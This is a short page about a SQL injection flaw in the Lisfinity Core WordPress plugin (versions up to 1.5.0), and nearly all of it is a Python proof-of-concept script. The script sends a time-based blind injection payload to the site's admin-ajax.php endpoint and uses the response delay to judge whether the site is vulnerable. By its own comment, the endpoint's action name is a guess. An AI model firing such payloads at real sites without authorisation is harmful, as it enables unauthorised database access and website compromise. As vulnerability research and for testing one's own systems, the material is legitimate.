CVE-2026-22484 Lisfinity Core SQL注入漏洞

import requests # Proof of Concept for CVE-2026-22484 # Target: pebas Lisfinity Core <= 1.5.0 def check_sqli(target_url): # Vulnerable endpoint (example, adjust based on actual plugin routing) url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to test SQL Injection # Attempting to cause a time delay or extract database version payload = { "action": "lisfinity_endpoint", "id": "1 AND SLEEP(5)-- -" } try: print(f"[+] Sending request to {url}...") response = requests.post(url, data=payload, timeout=10) # Check if response time indicates SQL execution (Time-Based Blind) if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-Based).") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_sqli(target)